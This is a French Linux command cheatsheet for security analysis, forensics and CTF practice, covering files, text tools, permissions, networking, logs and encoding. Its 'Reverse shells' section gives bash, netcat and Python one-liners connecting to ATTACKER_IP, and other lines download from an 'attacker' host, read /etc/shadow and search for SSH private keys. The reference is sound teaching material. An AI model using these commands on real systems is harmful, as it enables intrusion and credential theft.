Cheatsheeteasy

Linux Cheatsheet - Cybersécurité

Commandes Linux essentielles pour l'analyse, l'investigation et les CTF.

26 décembre 2025
CyberPath
LinuxCLIForensicsCTFBlue Team

Linux Cheatsheet - Cybersécurité

Référence rapide des commandes Linux essentielles pour l'analyse de sécurité, l'investigation forensique et les CTF.


1. Navigation & Fichiers

pwd                     # Répertoire actuel
cd /path/to/dir         # Changer de répertoire
cd ..                   # Répertoire parent
cd ~                    # Home directory
cd -                    # Répertoire précédent

ls                      # Lister les fichiers
ls -la                  # Liste détaillée + fichiers cachés
ls -lah                 # + Taille human-readable
ls -lat                 # Trié par date de modification
ls -laR                 # Récursif

Recherche de fichiers

# find - Recherche par critères
find / -name "secret.txt"                    # Par nom
find / -name "*.log"                         # Par extension
find / -iname "*.txt"                        # Insensible à la casse
find / -type f -size +100M                   # Fichiers > 100MB
find / -type f -mtime -7                     # Modifiés < 7 jours
find / -type f -user root                    # Appartenant à root
find / -perm -4000 2>/dev/null               # Fichiers SUID
find / -perm -2000 2>/dev/null               # Fichiers SGID
find / -writable 2>/dev/null                 # Fichiers writables
find / -type f -exec grep -l "password" {} \; # Contenant "password"

# locate - Recherche rapide (base de données)
locate secret.txt
updatedb                # Mettre à jour la base

# which / whereis - Localiser un binaire
which python
whereis nmap

Lecture de fichiers

cat file.txt                    # Afficher tout
head -n 20 file.txt             # 20 premières lignes
tail -n 20 file.txt             # 20 dernières lignes
tail -f /var/log/syslog         # Suivre en temps réel
less file.txt                   # Navigation (q pour quitter)
more file.txt                   # Pagination simple

# Fichiers volumineux
wc -l file.txt                  # Compter les lignes
split -l 1000 file.txt part_    # Découper en parties

Manipulation de fichiers

cp file.txt /dest/              # Copier
cp -r dir/ /dest/               # Copier répertoire
mv file.txt /dest/              # Déplacer/renommer
rm file.txt                     # Supprimer
rm -rf dir/                     # Supprimer répertoire (⚠️ dangereux)
mkdir -p /path/to/dir           # Créer répertoires
touch file.txt                  # Créer fichier vide

2. Grep, Awk, Sed

Grep - Recherche de patterns

grep "error" file.txt                   # Recherche simple
grep -i "error" file.txt                # Insensible à la casse
grep -r "password" /var/log/            # Récursif
grep -v "info" file.txt                 # Inverser (exclure)
grep -n "error" file.txt                # Afficher numéros de ligne
grep -c "error" file.txt                # Compter les occurrences
grep -l "error" *.log                   # Lister fichiers matchant
grep -A 3 "error" file.txt              # 3 lignes après
grep -B 3 "error" file.txt              # 3 lignes avant
grep -C 3 "error" file.txt              # 3 lignes avant et après
grep -E "error|warning" file.txt        # Regex (OR)
grep -P "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" file.txt  # Perl regex (IPs)

# Exemples pratiques
grep -r "password" /etc/ 2>/dev/null
grep -E "^Failed|^Accepted" /var/log/auth.log
zgrep "error" /var/log/*.gz             # Dans fichiers compressés

Awk - Traitement de colonnes

awk '{print $1}' file.txt               # 1ère colonne
awk '{print $1, $3}' file.txt           # 1ère et 3ème colonne
awk -F':' '{print $1}' /etc/passwd      # Délimiteur personnalisé
awk '{print NR, $0}' file.txt           # Numéro de ligne
awk 'NR==5' file.txt                    # Ligne 5 uniquement
awk 'NR>=5 && NR<=10' file.txt          # Lignes 5 à 10
awk '/error/' file.txt                  # Lignes contenant "error"
awk '{sum+=$1} END {print sum}' file.txt # Somme d'une colonne
awk '!seen[$0]++' file.txt              # Dédupliquer

# Exemples pratiques
cat /etc/passwd | awk -F':' '{print $1, $7}'          # Users + shells
netstat -an | awk '/ESTABLISHED/ {print $5}'          # IPs connectées
cat access.log | awk '{print $1}' | sort | uniq -c    # Count par IP

Sed - Édition de texte

sed 's/old/new/' file.txt               # Remplacer (1ère occurrence)
sed 's/old/new/g' file.txt              # Remplacer (toutes)
sed -i 's/old/new/g' file.txt           # Modifier le fichier
sed '5d' file.txt                       # Supprimer ligne 5
sed '/pattern/d' file.txt               # Supprimer lignes matchant
sed -n '5,10p' file.txt                 # Afficher lignes 5 à 10
sed 's/^/prefix_/' file.txt             # Ajouter préfixe
sed 's/$/_suffix/' file.txt             # Ajouter suffixe

# Exemples pratiques
sed 's/\x00//g' file.txt                # Supprimer null bytes
sed '/^#/d' config.txt                  # Supprimer commentaires
sed '/^$/d' file.txt                    # Supprimer lignes vides

3. Utilisateurs & Permissions

Informations utilisateur

whoami                          # Utilisateur courant
id                              # UID, GID, groupes
id username                     # Infos d'un utilisateur
groups                          # Groupes de l'utilisateur
who                             # Utilisateurs connectés
w                               # Utilisateurs + activité
last                            # Historique des connexions
lastlog                         # Dernière connexion par user

Fichiers importants

cat /etc/passwd                 # Liste des utilisateurs
cat /etc/shadow                 # Hashs des mots de passe (root)
cat /etc/group                  # Groupes
cat /etc/sudoers                # Configuration sudo
cat ~/.bash_history             # Historique des commandes
cat ~/.ssh/authorized_keys      # Clés SSH autorisées

Permissions

ls -la file.txt                 # Voir les permissions
# -rwxr-xr-x = owner(rwx) group(r-x) others(r-x)

chmod 755 file.txt              # rwxr-xr-x
chmod 644 file.txt              # rw-r--r--
chmod +x script.sh              # Ajouter exécution
chmod u+s binary                # Ajouter SUID
chown user:group file.txt       # Changer propriétaire

# Permissions spéciales
# SUID (4) - Exécute avec les droits du propriétaire
# SGID (2) - Exécute avec les droits du groupe
# Sticky (1) - Seul le propriétaire peut supprimer

Recherche de vulnérabilités

# Fichiers SUID (potentiel privesc)
find / -perm -4000 -type f 2>/dev/null

# Fichiers SGID
find / -perm -2000 -type f 2>/dev/null

# Fichiers world-writable
find / -perm -o+w -type f 2>/dev/null

# Fichiers sans propriétaire
find / -nouser -o -nogroup 2>/dev/null

# Capabilities
getcap -r / 2>/dev/null

# Sudo sans mot de passe
sudo -l

4. Réseau

Informations réseau

ip a                            # Interfaces et IPs
ip r                            # Table de routage
ifconfig                        # Interfaces (legacy)
hostname -I                     # IP de la machine
cat /etc/resolv.conf            # Serveurs DNS
cat /etc/hosts                  # Résolution locale
arp -a                          # Table ARP

Connexions actives

# ss (moderne)
ss -tuln                        # Ports en écoute
ss -tunp                        # Avec PID/process
ss -ta                          # Toutes les connexions TCP
ss -s                           # Statistiques

# netstat (legacy)
netstat -tuln                   # Ports en écoute
netstat -tunp                   # Avec PID/process
netstat -an                     # Toutes les connexions

# Connexions établies
ss -ta state established
netstat -an | grep ESTABLISHED

Diagnostic réseau

ping -c 4 8.8.8.8               # Test de connectivité
traceroute google.com           # Chemin réseau
nslookup domain.com             # Résolution DNS
dig domain.com                  # Résolution DNS détaillée
dig -x 8.8.8.8                  # Reverse DNS
host domain.com                 # Résolution simple
curl -I https://site.com        # Headers HTTP
wget -q -O- https://site.com    # Contenu HTTP

Scan et analyse

# Nmap
nmap -sn 192.168.1.0/24                 # Ping sweep
nmap -sV -sC target                     # Scan de services
nmap -p- target                         # Tous les ports
nmap -sU target                         # Ports UDP
nmap --script vuln target               # Scripts de vulnérabilité

# Netcat
nc -lvnp 4444                           # Listener
nc target 80                            # Connexion
nc -zv target 1-1000                    # Scan de ports
nc -lvnp 4444 > file.txt                # Recevoir fichier
nc target 4444 < file.txt               # Envoyer fichier

# Tcpdump
tcpdump -i eth0                         # Capturer le trafic
tcpdump -i eth0 port 80                 # Filtrer par port
tcpdump -i eth0 -w capture.pcap         # Sauvegarder en PCAP
tcpdump -r capture.pcap                 # Lire un PCAP

5. Processus & Services

Gestion des processus

ps aux                          # Tous les processus
ps aux | grep nginx             # Filtrer par nom
ps -ef --forest                 # Arborescence
pstree                          # Arbre des processus
top                             # Monitoring temps réel
htop                            # Monitoring amélioré
pgrep nginx                     # PID par nom
pidof nginx                     # PID par nom exact

kill PID                        # Terminer un processus
kill -9 PID                     # Forcer la terminaison
killall nginx                   # Tuer par nom
pkill -f "pattern"              # Tuer par pattern

Services (systemd)

systemctl status nginx          # État d'un service
systemctl start nginx           # Démarrer
systemctl stop nginx            # Arrêter
systemctl restart nginx         # Redémarrer
systemctl enable nginx          # Activer au boot
systemctl disable nginx         # Désactiver au boot
systemctl list-units --type=service     # Lister les services
systemctl list-unit-files               # État des services

Tâches planifiées

# Crontab utilisateur
crontab -l                      # Lister les tâches
crontab -e                      # Éditer

# Crontabs système
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron.d/*

# Format cron
# MIN HOUR DOM MON DOW COMMAND
# */5 *    *   *   *   /script.sh    # Toutes les 5 min

# Timers systemd
systemctl list-timers

6. Logs & Investigation

Logs système

# Logs principaux
/var/log/syslog                 # Logs système (Debian/Ubuntu)
/var/log/messages               # Logs système (RHEL/CentOS)
/var/log/auth.log               # Authentification (Debian)
/var/log/secure                 # Authentification (RHEL)
/var/log/kern.log               # Logs kernel
/var/log/dmesg                  # Boot messages
/var/log/apache2/               # Logs Apache
/var/log/nginx/                 # Logs Nginx

# Journalctl (systemd)
journalctl                      # Tous les logs
journalctl -u nginx             # Logs d'un service
journalctl -f                   # Suivre en temps réel
journalctl --since "1 hour ago" # Dernière heure
journalctl -p err               # Erreurs uniquement
journalctl -b                   # Depuis le dernier boot

Analyse de logs

# Connexions SSH échouées
grep "Failed password" /var/log/auth.log
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn

# Connexions SSH réussies
grep "Accepted" /var/log/auth.log

# Analyse Apache/Nginx
cat access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head 20
cat access.log | awk '{print $7}' | sort | uniq -c | sort -rn | head 20
grep "404" access.log | wc -l
grep -E "sqlmap|nikto|nmap" access.log

# Dernières modifications
find /var/log -mtime -1 -type f

Analyse forensique

# Info sur un fichier
file suspicious_file                    # Type de fichier
stat file.txt                           # Métadonnées complètes
exiftool image.jpg                      # Métadonnées EXIF

# Hashs
md5sum file.txt
sha256sum file.txt
sha1sum file.txt

# Strings
strings binary                          # Extraire les strings
strings -n 10 binary                    # Min 10 caractères
strings binary | grep -i password

# Hexdump
xxd file.txt                            # Vue hexadécimale
xxd file.txt | head -50
hexdump -C file.txt

# Binaires
ldd /path/to/binary                     # Librairies liées
nm binary                               # Symboles
objdump -d binary                       # Désassembler

7. Encodage & Crypto

Base64

# Encoder
echo "secret" | base64
base64 file.txt > encoded.txt

# Décoder
echo "c2VjcmV0Cg==" | base64 -d
base64 -d encoded.txt > decoded.txt

Hexadécimal

# Texte vers Hex
echo "secret" | xxd -p

# Hex vers texte
echo "736563726574" | xxd -r -p

Hashing

echo -n "password" | md5sum
echo -n "password" | sha256sum
echo -n "password" | sha1sum

# Hasher un fichier
md5sum file.txt
sha256sum file.txt

OpenSSL

# Chiffrer un fichier
openssl enc -aes-256-cbc -salt -in file.txt -out file.enc

# Déchiffrer
openssl enc -aes-256-cbc -d -in file.enc -out file.txt

# Générer un mot de passe aléatoire
openssl rand -base64 32
openssl rand -hex 16

# Voir un certificat
openssl x509 -in cert.pem -text -noout

8. Transfert de fichiers

HTTP

# Serveur HTTP simple (sur la machine source)
python3 -m http.server 8080
python2 -m SimpleHTTPServer 8080

# Télécharger (sur la machine cible)
wget http://attacker:8080/file.txt
curl http://attacker:8080/file.txt -o file.txt

Netcat

# Récepteur
nc -lvnp 4444 > received_file.txt

# Émetteur
nc target 4444 < file.txt

SCP

# Upload
scp file.txt user@target:/path/

# Download
scp user@target:/path/file.txt ./

# Répertoire
scp -r folder/ user@target:/path/

Base64 (via copier-coller)

# Encoder (source)
base64 -w 0 file.txt

# Décoder (cible)
echo "BASE64_STRING" | base64 -d > file.txt

9. Compression & Archives

Tar

# Créer une archive
tar -cvf archive.tar folder/
tar -czvf archive.tar.gz folder/        # Avec compression gzip
tar -cjvf archive.tar.bz2 folder/       # Avec compression bzip2

# Extraire
tar -xvf archive.tar
tar -xzvf archive.tar.gz
tar -xjvf archive.tar.bz2
tar -xvf archive.tar -C /destination/

# Lister le contenu
tar -tvf archive.tar

Gzip / Bzip2

gzip file.txt                   # Compresser → file.txt.gz
gunzip file.txt.gz              # Décompresser
zcat file.txt.gz                # Afficher sans décompresser

bzip2 file.txt                  # Compresser → file.txt.bz2
bunzip2 file.txt.bz2            # Décompresser

Zip

zip archive.zip file1 file2     # Créer
zip -r archive.zip folder/      # Répertoire
unzip archive.zip               # Extraire
unzip -l archive.zip            # Lister le contenu

7z

7z a archive.7z folder/         # Créer
7z x archive.7z                 # Extraire
7z l archive.7z                 # Lister

10. Oneliners utiles

Investigation

# Trouver les derniers fichiers modifiés
find / -type f -mmin -60 2>/dev/null

# Trouver les fichiers cachés
find / -name ".*" -type f 2>/dev/null

# Historique de toutes les sessions
cat /home/*/.bash_history

# Processus avec connexions réseau
lsof -i -P -n

# Fichiers ouverts par un processus
lsof -p PID

# Binaires avec capabilities
getcap -r / 2>/dev/null

# Clés SSH sur le système
find / -name "id_rsa*" -o -name "authorized_keys" 2>/dev/null

Reverse shells

# Bash
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1

# Netcat
nc -e /bin/bash ATTACKER_IP PORT
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f

# Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Stabiliser un shell

# Sur la cible
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z

# Sur l'attaquant
stty raw -echo; fg

Quick Reference Card

ActionCommande
Trouver SUIDfind / -perm -4000 2>/dev/null
Ports ouvertsss -tuln
Connexions activesss -tunp
Processusps aux
Logs authcat /var/log/auth.log
Userscat /etc/passwd
Hashscat /etc/shadow
Crontabscrontab -l && cat /etc/crontab
Servicessystemctl list-units --type=service
Historiquecat ~/.bash_history
Kerneluname -a
OScat /etc/os-release

Références